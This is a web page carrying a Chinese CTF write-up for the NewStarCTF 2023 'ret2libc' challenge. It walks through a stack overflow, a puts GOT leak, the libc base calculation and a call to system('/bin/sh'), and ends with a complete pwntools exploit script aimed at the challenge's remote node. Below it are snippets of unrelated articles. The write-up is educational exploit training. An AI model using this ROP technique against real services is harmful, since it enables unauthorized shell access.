news 2026/6/23 14:29:28

BUUCTF[[NewStarCTF 2023 公开赛道]ret2libc]

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF[[NewStarCTF 2023 公开赛道]ret2libc]

步骤

使用checksec查看

由于这道题没有后门函数,并且只开启了栈不可执行保护,于是我们使用ret2libc

需要执行两次函数流程,第一次泄露libc地址,第二次通过泄露的地址来执行system函数

payload1:

先通过栈溢出覆盖返回地址,然后使用pop rdi;ret来将puts 的 GOT 表地址传入 rdi 寄存器

然后调用 puts 函数,打印puts_got中存储的 puts 真实地址

puts 执行完后跳回 main 函数,重新触发输入提示(方便发送第二个 Payload)

然后计算 libc 基址与目标地址

payload2:

溢出后使用ret来调整栈为 16 字节对齐

然后通过pop rdi;ret来将/bin/sh地址传入rdi寄存器

最后调用system函数来执行system("/bin/sh")

main函数地址为0x400698

通过read函数可以溢出buf缓冲区,只需要0x20+0x8个字节

pop rdi;ret 地址: 0x400763

ret地址: 0x400506

本地调试:

这里选择的9

获取flag:

远程连接选择的1

exp

from pwn import * from LibcSearcher import * context.log_level = 'debug' #p = process('./ret2libc') p = remote('node5.buuoj.cn',26594) elf = ELF('./ret2libc') pop_rdi_addr = 0x400763 ret_addr = 0x400506 main_addr =0x400698 puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] payload1 = b'a'*(0x20+8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("Show me your magic again\n",payload1) p.recvuntil(b'See you next time\n') puts_addr = u64(p.recvline().strip().ljust(8, b'\x00')) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh") payload2 = b'a'*(0x20+8) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Show me your magic again\n",payload2) p.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/23 18:47:31

测试日志分析与故障定位技巧:从噪声中捕捉信号

在快速迭代的软件交付流程中,日志是测试人员定位问题的“侦察兵”。据统计,超过70%的故障根因可通过结构化日志分析快速锁定。然而,海量日志中的噪声干扰、格式不统一及关键事件遗漏,常使测试团队陷入排查困境。本文以实战视角&am…

作者头像 李华
网站建设 2026/6/23 20:39:37

HNU软件安全测试模糊测试(改写Coverage类)

Fuzzing Book Coverage Assignment 写在前面:文档中标注此次作业会查重,有需要的同学记得稍微修改一部分,别完全照搬了 还没有在本地配置好Fuzzing Book的同学可以参考: Fuzzing Book安装指南 《Fuzzing Book》的"Code …

作者头像 李华
网站建设 2026/6/23 19:30:11

ESFT调试技巧完整指南:快速定位专家微调问题

ESFT调试技巧完整指南:快速定位专家微调问题 【免费下载链接】ESFT Expert Specialized Fine-Tuning 项目地址: https://gitcode.com/GitHub_Trending/es/ESFT ESFT(Expert-Specialized Fine-Tuning)作为专家专门化微调技术&#xff0…

作者头像 李华
网站建设 2026/6/22 21:32:41

如何构建模块化RAG系统:Cognita架构解析与部署实践

如何构建模块化RAG系统:Cognita架构解析与部署实践 【免费下载链接】cognita RAG (Retrieval Augmented Generation) Framework for building modular, open source applications for production by TrueFoundry 项目地址: https://gitcode.com/GitHub_Trending/…

作者头像 李华
网站建设 2026/6/23 19:30:45

(附源码) 基于springboot的美食分享系统-计算机毕设 37676

基于springboot的美食分享系统 目 录 摘要 Abstract 1 绪论 1.1 研究背景和意义 1.2研究现状 1.2.1国内研究现状 1.2.2国外研究现状 1.3论文结构与章节安排 2系统分析 2.1 可行性分析 2.2 系统功能分析 2.2.1系统功能性需求分析 2.2.2系统非功能性需求分析 2.3系…

作者头像 李华